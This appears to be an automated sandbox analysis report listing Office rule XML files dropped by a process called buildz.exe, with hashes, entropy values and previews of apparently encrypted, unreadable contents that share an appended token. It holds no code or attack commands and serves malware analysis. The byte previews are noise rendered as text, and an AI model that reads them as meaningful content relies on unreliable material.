SSDEEP:	24:ohrA+qjWuk8HKGZkPpO02Cml6Ym12veM0z1MSNOjbD:oh8+qjWuk8tZkBO02Cy6DGejz6Ss3D
MD5:	A049F61F3A9E9BC5096201539EAF19A3
SHA1:	D8EB181D31B71137A597D0155DBB62C64B95ED3A
SHA-256:	178A668E42CB2797D8CF5245127823E3EC608C84B5BFC026F1ACAD9BAA774B90
SHA-512:	C84AF2AD4FA783EA4D1EBCA3B0569B3BCA8B0E2070784E6D140878E7C72B27CFC3838AEB34D120774A044AF57F723DEED94A6805AACF9114BA4591219103C161
Malicious:	false
Reputation:	unknown
Preview:	.<?....%.....P.m..._5t.....L.^F..Q..3P..r......?..6.Q2.o.e........l1.}J.\..}>..:a.#.w.'.....Pc.....=&......G.K...;E.y6..U...W.l}..u........$....x...F.D9.V...j...9..M...p.V.."..q..f..aoU.?.....0.D.xx.#..}.#T...<9.a.Ys...Hh...(.l3..N.7..~.{.7.gU..V...._.P,...!6.(.X..9...B.yB`.2...W.Z.7...$"......a...P....T.....-\.....Ng..[0,,5v.....rC.n.5..OLB.@...h.f....B4t..{I..^....l....NH.....<,`+T`.I$z.-.b.&s.q..d0Y....bt{........6.........#L.........&.a...G..\|b..<._V..<.X...3.5./.....H.......~4.V...Wi..XAb.0.....}.>e......P.~.i.R.h.@..H........._F...L.nU.gx.....:.o...h.!.........u&........!..O.Ng.:[.A..!..9.0._.,w1#..x.l...x.Jz>...V.>QG.*...&T..s3.w.....C8H.9..s....5..#.bt..j.fG..A....G...V.o.bT....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.668350509056477
Encrypted:	false
SSDEEP:	12:SFuf4V7pFK7990cFXrL4BKnRwdQeX1a9J4SbFEcAuK7XNqgyme+HCIrJE5ErFI14:SFC2qNtrMgnCd9Q9JjFEcAN0AiIFjbD
MD5:	34CBBC8F52120A6BDDDC859F2599D414
SHA1:	3078A7DAE76EAADB056D50C1A6BE86E5363CCDBF
SHA-256:	4866715866F92C1E11FC27B5F8E43F2BC1328D9CA6F8F58D61E20F6056835924
SHA-512:	B29A4BE2066DCE460888D2C67D330C850EDD4BC60B964FCD9DBFEC1F36EF3AECB64A8AE566CD791946A33F28A3D806703F1F81CF8FD18FF40AFEB775A7F7DE4E
Malicious:	false
Reputation:	unknown
Preview:	.<?.@.\.$..N..!.:..,.T......u523bl.W.w..q...$.2....".xb.../.LA. 7..>.ds.X.X)F.k.&3.oM^.'.H..H........5.=..;t..q.. ..v.,?8.....F...(...AC.I........f....<;..5...A.O.5..J-....rlB.............../....T...".....O......W.>8!...}........Nz........x...cr0PT+.+6.....3.........{..wNo.\|h...Qd......V.."...J.$V._P<.u.n]j.Sq.<.[.6.......,...U.e....q/...M.t..T..P.5...n\{8+..q&......i.E.l..I...Lo2]Xn..!......7!....gS..../O5}_...K)So&.m0m......7vdu....I..C?.U"....a..V.niDX......0...0.H).F..$.....T.....r.o...h......P.L.nt.b.q..y.M...*...0d..Wk..:Lm.Bld..Hs..P........"_......q.=.dw...:......?Bd....[...1...5..q.y.I..$>>..%yp]tg..a?..vc.9d...../n...FIESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.687664488435491
Encrypted:	false
SSDEEP:	24:QlvPsPw1oCVTGNYBuGNbm0oKoGpTYZUSKAbD:4HsY2YEGNdoGpUZUNaD
MD5:	ECB83BFA76673E6FF02C3F5026806EC5
SHA1:	56F1CB3F84A3775D56D39E4627FAB2B65AA9711A
SHA-256:	E48EF73EAF3E7B12865E7E78C654CB5878541C88E702557270695B0CF6690E67
SHA-512:	1AD532AE27FBE9C29C25241A4737F96644C34AA5C47511470D51A097E429ADA747BC604E4F0B965C4BC163F979CADA83246EDC86A792EB7756B901A22E266A75
Malicious:	false
Reputation:	unknown
Preview:	.<?...)M.v;...).d...A...Y..........m..&:"...SZL..3.Z..Q..G.....@.z.:...4\|=S......G..Ej.1.VR.{0..,c....;JB.:......]`S......A:..1.n'1P2F.X.l>X.(5....6.se.....MAs../.4..1.`r.1x..V.V.r..K.3?...I...y&.Z.q\|%.S5..G.u.8.f.z....%.0n..}....g.Z4b..v-..".R/z..e.....'^......x<G..hGe;.x... ...G....+.....4.z..43..r68}._.e.u...(.\..B..=.lhu..V.x..x..]Z.U.: <.UR.=.d.0..Q.M.p. ...v...rY\.....g...Q..:...\|... .}N9.!.f...1..;<1..CC..g.T...y....nd..5dc....,.......3...c4S...[L..i.!F......jh\|.(..3.Th\|....;..o....d.z.>.....oiY^.4r.. ...-...S...{...M;....FGJ0...zZ..-.....?..it.w...wT..~,.).k....-~x~......2,.]&....5.'N..R'}o...E.L..-.q\|M&..h.;EFj.l..../..'.R.._\|h..X...qm.Y...a.~U....xHj.(N....@...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224900v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.699950897960881
Encrypted:	false
SSDEEP:	12:k6SYmRyiKvEw0igsr2l3T0JVImTcNvx+YI8W+EndM1+cii9a:k6NmRyvEw0wHS8cNvx+tg6HbD
MD5:	50658490D8CE30A4AD504862B3DF2387
SHA1:	D3FE15FB0E57C959C1A5866E3AC9544A1D065942
SHA-256:	03983D46F0A5CD98CDBDB141271C2F8D3F2E557D0AAC93A42E9383DC1BA508B9
SHA-512:	D5375BB8F2B1F405D6BA3414C3734A5E79260ACAA45410A9DEA77D574EF10EF85D4D31795B87572AEDD36246F33FFF5E922D62065100E72F8439C346A7654030
Malicious:	false
Reputation:	unknown
Preview:	<?xml.B.=..>...fIuyUcU.m]1.>.p...f..............FW...8....]..jB.`......+o..............L2t6)......a(....B.(_....S.:D.w.O.rY...z{.l.V...S.),.....FIY$]....4....g+.D.#..,.....%.lv.H...~V...\a....U.E..../<....Od..~..mb.o.j^..L..$.[@!d<..+.......f...K...3N...E.h.'"..{....).....%.u.>C {n..8o.4.).....'.]......-z...$.....g.<........NK.Am.3.i....!U.i..?.F..7.y..6Jf.$...........?:.V.Kf.....b..f...2A..vs...Q+......#oUu.9.k.w......,..0r...%....%K........E.x..l.[.7P.\..P1..q.Qzr.20.(<Pi'8..KM..<...f..?L.i./...M.........5...iB.Q.54n&.ww...f...0o......9....=...f...D9.,~.....Z.o.......-.Ir.:...?.h'w.h..V.c.Xs........... n..s.^n...M..-I.W.......}B...6..J.8...$q@C..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224901v11.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	7.9252613283413424
Encrypted:	false
SSDEEP:	48:4Rs4drrcwLaYZ3uplbK2qxBSOsju1EEy+WjWukTIyVjCyFiBEs61iwAD:Usurrcweiepl2X6OsjIUyVe+iGm
MD5:	66B28AA40CC42ECBAFDEF13C1908BE61
SHA1:	84855B7164441D61E2ADB9D5E3DE3A4BDEB0927F
SHA-256:	81DF135A31E43F821C71393506CF4CD41F6E8C06AC0F2359B328FE70FE577F9B
SHA-512:	BDD1A7EE544A5A9773EA9CADF1E682F68EA609134238E9D4D1D67B45B78F8566393E72B2CA3114812C400FC96C0AFA7F5FBC517DDED0FFDF47DB7CB5447E99EF
Malicious:	false
Reputation:	unknown
Preview:	<?xml.......u...fz.}.+.c..tJ..$E.B.....T...!_>.....`.v..aK.o.#.N$..:Y\|...0..\.'...A....E#.......#...s..........~aH<O0r..R..wY.!..J.A.g.Y.......V.`.6.....k...Z..^}.-...~G.k......SJ.....`..u........BY..'.#{.....E7.M............a.L.E.I.x.:..S..Cr....2.....V.....lk.}..nM....E.+.R..Z..>...\|4.fT.gx.Hb...q..I7.H.7.^..hL.P8..C.3....r'U.?..O.w......~ M..C.....cb.2.H.L}T.HI.O...v.e..B4..X.%`62.w\|M....j..S..O.L.-..&.e...0X..G("@S...TJ..L6G.<i..G...^.x8.......B..E%....lJ....@B.....\|.~D..:.3!J^...6Ml..O>6}#K8_.#z.{..h...f E...#..@.'k..n...Y..R%.y.u$.SY...n...G....5.....A..sh6.._8j,B.&....R.<..DF.....}..N...PWWV..\...D.OA....Dm......a>H...J..v.~..O>..l,b.qWI.w..o.w.i2..w.8.../..9..LI...$v...5.A...R...:>....:..wg].1q.....6.X5..n,.&..Z'..}.!...%....:.}....(.x..]..y.B...=.h..`...=#l..ql....b..~...I....0e..i. ....wsf../...............c._`...a.~.i.+@.R.C....[oi.ht.W.[......M.......6,..R..6....}P...V.......m...x.XX-..;..ps...#...(..O;.O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224902v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.7306992325735235
Encrypted:	false
SSDEEP:	12:GcgU7LhGOsDXsUkXkQasDWNpQRec/1hD0/1TbFpMM6rM8FI0yH6VVkjwV02H1+cq:GgGOsDXsUkgsDU+Re2D0/pPcUgkL2UbD
MD5:	B5AA292217F28C571DA18EDB435573DE
SHA1:	60202F9C8EB174A8F67DCFBFC3CB8D5C1A6D3873
SHA-256:	B7B8CDECD70A21BE6D9BA759CB736F6B6085268D123E7C82C19511B199EE8C80
SHA-512:	ED2BF6E8C5FB883A174A8E9103C8D215AC18E4F5898A0D053C075D5BB4EB18B02870EB962034537ADC25CB66E9511E178C88CC03FAAF799422A65DF0738D357C
Malicious:	false
Reputation:	unknown
Preview:	<?xml..PM`?....dB.....e'...u..U.V...Q.]....d...Ge.+...r./z/v.jR.{p.FWoc."..0.....>Z..Z?P ...........\;..+p..4..j.$.k...\|..P..y.-VP......v..B.......x._.l..f..vmi.....)\|....m.2./8_.Q?..o......,?..N.p....8kCUr...,...u.'....0..1\..h..^LEx.... $......Ly...E.YI.U...j./.cY......eW.B.Z.\..$...^.K....El..x....4:..a&.9.X....w.d..@..z.h/@v......S..O..T.`...F.\.I..<u...=....'T]...B'...l...3..mf.....,4..g..Wg+0....`............d...G:a.L.0..L...#.$..9..p..#.a]....C.}AY...i.)@..qB...J..).I..v...u+`..*g.sKav...;..A.X[...=....1.[....O<.1WUW.'.].,..}k.#5g.,.3.p.......0.S...{V....P.......o..k..V_x..J...O...d...T2r.c'.........t.ir.....:........5.(..o8....Y...bn.".'.Y3.+H.E....\5.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule226009v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.731176229503669
Encrypted:	false
SSDEEP:	24:mt0jnM1bncwC4PaWkLjUP1uvvdAwZXhbbD:m0jUjjC4PMLj+cqwFhfD
MD5:	DC1B8C44F50D43F7786708CF5E6154C7
SHA1:	F53CEBD3CB2F572048A910E7A895AC3BFB35074F
SHA-256:	F73598B844D2C378BFC06974AFA01F2E8770EBED854F8F54BB79849117730A86
SHA-512:	05E96A1071A0428D08A1CFE6A64A3CA847EFB030CBB4E3B589D167FD590D8919D3E5F18BAFD9770057659849C8797E459F23BE8A6A8FD38779E5466B6B2E97F8
Malicious:	false
Reputation:	unknown
Preview:	<?xml..I>.......r{.._..Xz.{.4..~A...kI#..g>E.P.G...Dc.n...@X.@..r....$.g...5.s.............U....b.k..%.%#8W.W...s...V.n.wG.t...t.TMT..O.(8..1}V.'.Q5.;....:.....6hy'..p<....y.A(.J..=.....[...^.\....0.....'l..a7.t..T.......8..Q........F.....]l.4....2\|....1.n...N...+Gb..?...gp./......H..b3.._.I%fR.....\|.E..E.a.......8...F..s....xv..?...o...-....E..5s>............I..N........pM..Bd!.G%S)..r].SZ.b.....A.v..i...........H.&..0Y.....3.+....t?[.....".........h..JY.z86......b.,..\|.m9.x.h.......p FL.S.....O.&.~..\..Ob..X...{...j}......B...g..3~...A5.=3...FiK..r..=......B..+{5.v..O..Z..........L..frh....9.7...J.[...0p1...%..E03OX%..5K...M\./...+...:C...5..^q....?,.J.i..eU.{G._...M.'.....{..=K[....O...`.L.?...e=.._.O.J..~Dy[[.&..ySLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230104v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	7.938348943667369
Encrypted:	false
SSDEEP:	48:hDxxP/7+cRVUBJ4x14MwxqkjJh0Bny+OVl7HnjcARai7WohBJti29JwmCsWayCD:d/BRZx22nkVl7HXbbhBKdxxayK
MD5:	BB3F417991E509ED20F609C577D65B3D
SHA1:	C9B1FA9F0FE70E7FF0185412315E36568FD50F92
SHA-256:	17E70EDEAD9D4611E51DB318DE7F340879C9288128C33FFC57FFD404A6774CE7
SHA-512:	D6D87C5C004D7FF64581B0D02278B535422DA0865982D8BFABD374B0A589475CEF4FF8110088ACB533ACED28D9962901D96BEDBF5D9DEEE8A7E9AAC4DA393E77
Malicious:	false
Reputation:	unknown
Preview:	<?xml.E....K..zi.v.B.h.9..._g+.+D....n_.\...........x^..f....wy.1._d...I..8_<T......u....@.Yn..;.R._..N....m.............V..bo...{..m">..:.<....t...g^FFkN%E\|..+.......L..7.4.Z.... W3}...[..K...]#9O..@.."....e.6..PJ;..Q...4..w........%..n.........5.}.. .../.g...!$\|.`..jM.....0fd\|..T[;..........y...z2....[..P1+.i...5B..g...V...;:..e.....$..g.......F#..+.Z...Qw......I...i~.w.y.Na>....+...J.......fS...<...\.7%.Ms..(....~...\|..U..^.i.31m..v+.)N...mC....R.-.,.,.qX..../...P,=.3I....&b...]...6..=..y#z.N..{......l..A..6......U...&..O...S&`..i..(^..W.,B......u......b.r.t.d.5F....UU`...A.p.:..c...<t...f....b...v.Z[...Mb....:L..8.;.....v...f......s..f.R..w/..d-...U.KOc..2.h...r0...o'...;H.}.....}.e.....O.....?8....(4.k.....DY..9..8........ ..Kz..p..>..q.=..m....@.5Gt.'.vJ..'....r......Es.L6.ISW.?.}..+..0.k.............W....s..Y0:JRqj..Xr..F.U.ph9H:Y......I..?UA....!..QV..}.....K......=a..M.\...(..}.wTB..;...3M.0...ax..es+.C6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230157v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2237
Entropy (8bit):	7.900877621379735
Encrypted:	false
SSDEEP:	48:iPwfkfs0Bb2XoO0deuAx+U9/8T0mZ4ToDADZmKakD:iykzayX0mZlADZmKD
MD5:	A983318B219F571BF208579B74EB2069
SHA1:	56EC7259255D8D9300438CDB50C0EC1545FA0A5F
SHA-256:	D09D12C20EDE94AE0F90726D3F1F05EEE7296102FD391B86A04D4BA8EFB93495
SHA-512:	AB2B7C651CB8931E02F06D9B40CEB18FE65FA06D5365C964C350B1BFB7DBE61DCD5A75AB5B01B6BC7A45F075F79A5DDA3DF8A7BC26D28A480FCCE4685B046313
Malicious:	false
Reputation:	unknown
Preview:	<?xml..m~..i..K.+_)i...]e.f,..D.yLr....l.:_,....x.g\....>...P..D..?9..sEI...Z..F.GW...?..c...N.C..._w........q,V.B.<..sV..t.j.=..)"2{9w.>.=N.NOT..1..+T...p.......a..Ft.N.Q..Tr..I...}S.n......5.t...#.. ....W...IWyr.........U.....sJn.......N..r\|..i...j.Hj......Yc..uh.P....>G,.......#.^q.g'@..fi3&.f....1..$...K...#.....i....2....)......Uf..j..6x..?2...B....&u...r...x.O.#O.e...bA.. ..S...Qu.n.R.P..+..b9.m.. ...1......!.,...H.0.n8......;...]...G..Y..I6.h.I&5.Br....D..C~$@5.#.....<.l.......M..~z?.XB.1.J.T--u1.../{U>.B..c.;.....-k...K.9'.n.......-......f..oC(0.q..5}(..[..Cb.0..........r.W.....p.,lU.dl.............Y7..i....t..2..w...6D7...~..)..V..4.....NW..L....1.&..z][..}Lt^...}...D..hJ.t....*..&.4B...7Y.TI..`.....5-.y.)Qo.r_..UB....I.&...&.4......#.BlI.TD...A....A.CF.c.(.x{..E}..,Dw.....3+W..y..5dt.z".~.....8...k.X.!...2.....P.($l.?....EW.....K#(..(J..?....<...,.....B....pZ......DR=..e...o].n.i.`.x.#E.%0g8.....\...n.z.S...b]..D.Kb.....q..L~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230158v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1924
Entropy (8bit):	7.892169569069893
Encrypted:	false
SSDEEP:	48:Srv8y8AJ6ns4bKQr8nRuJv2iFSxgnfQWA9b7YoWinD8cdZD:0v8y7Ys43OisNl7YFinDdR
MD5:	65984DE04433F7B9986154761F9CCCF1
SHA1:	96829B28CBB016EB72A7922FE06216BC4EC56F87
SHA-256:	F6E225D209E8E7E1926D0D89BE24DBFA7EE92447A4539BB3A0EA8B052C5D0500
SHA-512:	F91D215636AF89CD660E49D472FD82C87784414715B8F03134BDB8F01F6C6E77A317E3241E8C62B68FF97B32985CE858DCAAEF0707CB77571899E63276D37AA2
Malicious:	false
Reputation:	unknown
Preview:	<?xml...7....,q.....mi.d...r{O..X....r\|.U.j..m.3%.\.M.A.S.Q'>.....=.rnW.Pl...88}.!.o<.h)+. ..o.......wP..Y.].v.(...).}.............$..e..`....!..W.a...G.K.K..B.J.\......4....LQ.lb...0.y-.m...2.~yN..."KSh..0D.H....I+]..<.p..\|9[c...!....4j.8`.....m.; .......Zl.4. j.H..^...1.)2..^N..-.[.....}..A.\|..N(k..BE.....Dk....5..c.{.g...oX..xI@..w.O...,. m.Oy.I...37.^.N;gT.V3..=...x.OU....Dn3...f$.....T..D!-UV.F/B.@T..Y..AA.bc..l...r...j..i..K..x.d.(.\|I.J"."..i-..6...cal.........A.-.)...78...JP.=h. T..S..F....{.!J[......4....)....meI...,%..o...'5......-..'.'.="..j$...7o.../.I..eiM^v&+l........X...z.....x2.....j.e.....L.X\|.p....0'.]..F......ob.2.....+..#J.#J.t}Z[>h.1...G/.2...U..7.....i.....?.5vEs...]j.nnw.k:...q@H..D..F..u...he.6.4.).'......Y.3..=1.@BF#.)..7..2.S........7@ .Q'lu ......M_v........a..[./..3E.....A!..H.*...`..-...!.hX..S7J.:9........R.&}.#._.ja.&e./+..A....Y._..{....n..1m..F....3.c...hi4..u./u8..1..Q.m...{.^8wP.....[\|<.Kb..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230162v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2020
Entropy (8bit):	7.903546735249358
Encrypted:	false
SSDEEP:	48:L8Cdng97algOQnp/QOEy5NxQK3YIeFSOxGwMSfsU/VRD:LBg92wQOE0zD3YIeHOSfsgZ
MD5:	B03A08D4B66124BEB6EB1DF71B44F840
SHA1:	5105E42CACB6DEC813B0ACA9A898BD32BFDD57EB
SHA-256:	DB316350A101279C318D2D2A52C533B70913A1F5C17F28FECD36161345D4A8F0
SHA-512:	A7E892B5349C9647443053DB13691CAC6E6A38895A472C3B05AB01BC6665FA8BC56F06AA02F0C0337B3354936659B1249149C29344F070AEA9C5CA6FCE8E9540
Malicious:	false
Reputation:	unknown
Preview:	<?xmlcY.V....tB.Va...O.....PA...`G.G.(..g...z.i.J..\|.y{....`H}.7da.>t.pH.N.........<$I.2.....do..r.....6..........Z\".vm...[.......sJ.$..OZf...x.7.>..OX...bz..N./t.d>.j.s#E4k........N.j6.\|._.e$"...V0$7`...m.O.Iz.....f#l<W5a..]:."..C.4..g.>...k\|<PN....4K.a..mI.I...,#.5. ~......'.....F.........a.FP..k....._.W..v.H>.o..m.K.6tS..c..)[\|1.Z....k[.Y......r.il{..d=......A..M....EC..^.O...N....P.$.!.k.....s......&...D...!{c...ftD.]E.@....\../.6p!......h.s....3c:....s.&'-.>.....+.....E..{..{...]H........B..1.`.sS/...{..rx......`4.o\Q...Xq...-..N.]....3..](.!...}d...I..y...g.+..:.,...z.(^..1H..lb...c.B-.C........?.+#..S~.Sp....-j~.r...f!.5..(...(.Y..$..^.s...k.\~.}..#I.v..:....x.......:..$\h..?t...:.{..z.....&..3.P4...n...g..@.lI"..x...bK....F.c...5\|5..+.......e...sd.".{..yto0.Z..uV.....>d..O.}/.H2..<.5>.....;.W..C..'..%...*../..p.<C.&._.2T._)....0.$...U..TI._./.~6}ls.S$,..}..O...=.1.+F.......K.......W=.B.Jg.u...\g..s.s..Ymn..?...Z.pb..k..p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230164v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.847091101311846
Encrypted:	false
SSDEEP:	24:5NpCzQLs51yoc/+fOi5t4AwWTF6Y6CwYMEpcFVGb7MCVQEmcHbPtsubD:ZtLC1yo6qHwWp6Y4FVGcCZtsMD
MD5:	0965FC75E9BAFFFB5144BA2289FA4AB4
SHA1:	9B352BA44B4B5401D435840965547D441AB6D5DB
SHA-256:	313F22BCD456869B45938785C66F9E40300171C7CCE7188230D2FAE3D8C13C61
SHA-512:	52FB1A26C3B01FDD85A5AA2BF248B712571CA68BBBE7360E3267C8995B566CDB2011B60CAE712D69ADBF640520F1C74247FC9723E14979652CEF7CB671815EEB
Malicious:	false
Reputation:	unknown
Preview:	<?xmlx.....2O."...............}..,#c.K.5$;.. ....C.j.C{/..x........d.<_.v..X......JZ...#W.g.cr86.D]1M.K_.+]}L...K..u.EM..t..@x.8...E.m.T...r..(L0....Z.p........B...1WL...>........ p}....dE.....P....m7.gPioF[I.....Q.:.}..b#8..%%..Dt..gx..Si.".%hGC)E..HW./....).`..... ....".......p....;..O..r&.^9}..`.}1oV...G0..I.g...},.#..%u..t.n}/...(...k.L........)d.wD.....~x..1i.&[......&:..V.7_~{$t@Kqcf;$.Z......1.6.....?..,.ZY<.l5?.AN3+.y.....\..m..N.u........<...o.GC....cg...A..g.....N.Q....}..`.VD..C..P?f.u.9...p...sa3.....&....3.R.(..f....#..(~+.k..._.$Z..p.R.Jf.3.M..'#_~.2\|...P...\..h[W...#....$.......>Lg.....t.%...,.(..h.V.....\|..".35...=].]^.-q..$..!`.m....r.....h....O".............37.....@N6..)...>.lt...?.?..;..........\s0....q.[.....;....y.%0S.<.e`.%W.A.eMz.p5.\|..!/....w........".r.%d..zM..2d.2T..>...[q8Tu~.K~s..-.C...].p.c..jH.....&.;h.Q......MY.V..M. AG`\....4....o\.e.....j.1...(....Jl ......'S..6.!.........4...Io.._..:...p.$.=..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230165v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1182
Entropy (8bit):	7.804618048147064
Encrypted:	false
SSDEEP:	24:JuTHOBft01b1aG13VgJj+CS2D1ubUH25BMGTjyrELHtbD:Jugteg1tSG1ubt5B3TjyrELHND
MD5:	0E08B537010492DBCC885C041747A08C
SHA1:	FA7319CC52D7C0EC83C4709CBBF0152211DB9FDF
SHA-256:	0270CE6E65881EDBCCF1AB5635B4E5FDC0DF48D4C735D91E82D033A16AC571C4
SHA-512:	3995DD5DE4CF8C8A51D5DEB571CC6692517E9346503DB428014E757157200D6FD685EB625E756F0032AC3DBD1875BB40FD83AC39687170DC595ADEDC8C2A35FC
Malicious:	false
Reputation:	unknown
Preview:	<?xml..................!.qQ. 4v38..GAdA....o)Q1..pf..l...(.m.....o.....l....4r....2.j..3.M..]..B..l....)E.. ....>V.-C.B..e......d...&.DH..._...l.8..N.2..o....6.\|Q...1e..i_.bR....[#.@..sYy.......6B.m.A./-......'.\|:l...TV.'b....s..Y.LY...L.....P.........}.<vb].w.....,..5..Z..Z..U...?...nD..G...Jf,.......I.q."c...)....s...........X.6...\|@[.A. O.".<.....2}...!.&...b...f..}vt..H4..o.6S..+J.0...8.-,..n..TMw..,..e...u.../.;zX..!.nD..=....2.W.Br..j6m.\|..b.i.Q.O....XQF.cQ...t.x.l.....n1...1.UX.....=._.&..5W.UVnB....4do..!W....d;Q..xZp.Jp..H....r1...ET..?.4dmj..y..<!.7'....tX..........^..0[..{...W5N..Hu.....[6%..J\|s.......#A....]!L5...A.... ......g....0..zF..I...v.W7.j~.......D.m..k...]...8...x...=.".8...w.....B`..>............ .P.d..o..A...LQ..eV..>..r. .k...d.......pH.UG.q..C.i.P._.........!F.....u:p.7...9.]......b.@....d\..jD..v1B...!.\ux..-DG..}...'f.3.....]x..V&l#...N..f.X.St.U+.b..#q.!.Q.Gt..h.1r.a+...X...1o.e.\|.....x8..TP.'[8B.E...#Pe..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230166v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.839681458145025
Encrypted:	false
SSDEEP:	24:U5qriS9dWBQ/JD7Y0icuDj255tlO0BMh90N3GCa3eRDHBG4Gvk/bD:UQGS905cuD2tda3eRDhjbD
MD5:	1BAAFE008C9C96E5F4CE92CFE4D95912
SHA1:	C9D23DE6B8B58F0F7DC70600ACFC5B5671B16D81
SHA-256:	30B49F69DF60A77A6950B06E27F498129E032F36EE94A335A059F6CAC7952C79
SHA-512:	AA9EE18D6543B915665760B84DAADD83DC0AD50D946403904F76BFD03F33338DFF1D719864E1BD197C4CC3D69CA0210B771119645B49BB5749188E12816EF308
Malicious:	false
Reputation:	unknown
Preview:	<?xml.?..,.-#.eT....<6G..~.....OG...+..J.n.!<?!......'\..4.#ff.y.G....w.S.3...R.-..... q$w.Y..H..<dm...Y...7 I............ou....w..bo..f..i..92..[".UX....Q.........x...D....5.%z#.]...F....L....!.H&..p...K.q..q..(#....{../...i...pLo....kI.........O...fg..w.....'t....Z....I.@e..S;...Ba?{a;....x....R..i:...5d.....~..g.W..f....-..a..2.....t......]r....~../>h.+#{J.+q7.A..z+3Y......BR8.L.%x.o_.=..s^.../.../.^.3.............n.:..Q..L..........1B.J\|k..`..H..$Jh.?.@}#[.Y..\.N..]Z.....B.Z....O<....<@.W.m. .VdB.....dv.fV.......&..[...H.h-.%........U....lm.?TC.(R{..o.l..>......i$..;.]....1l]O...q,S..G.I....j..$..."...+..@.gN.I.R.v]..Y."..y.....{"vRr[........\W].....*.!..@..1..{M..3\.J..n..s5..9.1.. ~...0.]> >.%qb.E.i.>.x.Y.r....[3..T.o.H....P..+E....kB...hF.t'.x.x8]tC.g.2.Vs.!h.....d..)@;..F,.-...{v..Rny&._..4[..[.......7..`.Q.}..B....0.F......F..'.}w.r.i.j..".....>..>4..bG,t.......kW.g..s.6...f..e..N..k...m...\..T.A.Y....o`.x.g..C>...`...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230167v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.877292148400535
Encrypted:	false
SSDEEP:	48:zBRotkgXc8QpnDPGPMwy4ZLr/7zaCvXThC96BSfiD:tRot1XunDOUwXpyCv9t
MD5:	0FFFCCFBF509AB413F0C6DC66F7C51C3
SHA1:	59D6677A17B5098FF7B3F4CA3D79CAE48AAF7A9F
SHA-256:	DA1A31B34581E1CD6D7986A758237A3E2BCD8EC636CD8DCBC5F1029AE7D39842
SHA-512:	70D21A5B55EDF564C1BC9B8C0F14E7AE02202F75A4CA53EC8FF50908215B87A6F1C9D06B8F8F85C8663D4F2E7ED2E195614313564E6864CCB20789EA56C3529C
Malicious:	false
Reputation:	unknown
